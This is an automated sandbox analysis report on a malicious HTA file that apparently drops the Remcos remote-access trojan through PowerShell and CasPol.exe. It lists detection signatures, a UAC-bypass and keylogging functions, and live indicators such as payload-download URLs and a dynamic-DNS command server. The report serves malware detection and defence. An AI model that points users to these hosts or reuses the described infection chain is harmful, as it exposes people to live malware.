Windows Analysis Report
seethebestthignswhichgivingbestopportunities.hta

AI detected suspicious sample

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3693144012.00000000027BE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

18_2_0043293A

Source: powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_ea1f77c1-9

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00406764 _wcslen,CoGetObject,

18_2_00406764

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: seethebestthignswhichgivingbestopportunities.hta, type: SAMPLE

Source: unknown

HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.7:49713 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1302780296.00000000034A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000010.00000002.1715001566.0000000006DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q;C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.pdb source: powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1310602122.0000000008B14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000010.00000002.1715001566.0000000006DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000010.00000002.1715770079.000000000734B000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	18_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,	18_2_0041B42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	18_2_0040B53A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0044D5E9 FindFirstFileExA,	18_2_0044D5E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,	18_2_004089A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00406AC2 FindFirstFileW,FindNextFileW,	18_2_00406AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,	18_2_00407A8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,	18_2_00418C69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,	18_2_00408DA7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

18_2_00406F06

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.7:49699 -> 192.3.220.29:80
Source: Network traffic	Suricata IDS: 2858796 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M1 : 192.168.2.7:49765 -> 192.3.220.29:80
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 192.3.220.29:80 -> 192.168.2.7:49765
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 192.3.220.29:80 -> 192.168.2.7:49765
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49773 -> 192.3.101.149:6946
Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 192.3.220.29:80 -> 192.168.2.7:49765
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 192.3.220.29:80 -> 192.168.2.7:49765
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.215.209.78:443 -> 192.168.2.7:49713

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: banaya.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: banaya.duckdns.org

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /45/HDRDDG.txt HTTP/1.1Host: 192.3.220.29Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 192.3.220.29 192.3.220.29
Source: Joe Sandbox View	IP Address: 142.215.209.78 142.215.209.78
Source: Joe Sandbox View	IP Address: 192.3.101.149 192.3.101.149
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49779 -> 178.237.33.50:80

Source: global traffic

HTTP traffic detected: GET /45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.220.29Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.220.29

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_04EC4B90 URLDownloadToFileW,

1_2_04EC4B90

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.220.29Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /45/HDRDDG.txt HTTP/1.1Host: 192.3.220.29Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: 1017.filemail.com
Source: global traffic	DNS traffic detected: DNS query: banaya.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000001.00000002.1424337882.0000000007ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/
Source: powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehaving
Source: powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF
Source: powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF0J/
Source: powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF9LMEM
Source: powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFC:
Source: powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFn
Source: powershell.exe, 00000003.00000002.1310086977.0000000008AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftG
Source: CasPol.exe, CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: powershell.exe, 00000003.00000002.1303936513.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000001.00000002.1421144583.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1306026171.00000000063D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1414653804.0000000005041000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1303936513.0000000005371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2079393910.00000000051B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1310452454.0000000008AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.W?7
Source: powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com
Source: powershell.exe, 00000010.00000002.1669609816.0000000002B49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4
Source: powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S
Source: powershell.exe, 0000000E.00000002.2079393910.00000000051DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6LR
Source: powershell.exe, 00000001.00000002.1414653804.0000000005041000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1303936513.0000000005371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2079393910.00000000051F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1414653804.000000000550D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1421144583.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1306026171.00000000063D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000000.00000003.1257089016.0000000006827000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1290146069.0000000006670000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1242645805.00000000067C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1273166507.00000000056B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255793912.00000000074F0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1264355476.0000000006FD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1251530852.0000000007041000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1259885383.00000000070AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1242578602.0000000007446000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1250574154.0000000006827000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1250014151.00000000067C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1282036247.00000000056B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1271739816.0000000006833000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252695052.00000000066F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1251672134.00000000056B3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255340938.00000000074B0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1283281228.00000000066E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252283963.000000000675C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255426669.0000000007440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1290936484.0000000007040000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252470032.00000000066E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.html-code-generator.com

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown

HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.7:49713 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_004099E4 SetWindowsHookExA 0000000D,004099D0,00000000

18_2_004099E4

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

18_2_004159C6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

18_2_004159C6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

18_2_004159C6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

18_2_00409B10

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3693144012.00000000027BE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0041BB77 SystemParametersInfoW,

18_2_0041BB77

System Summary

Detected Cobalt Strike Beacon

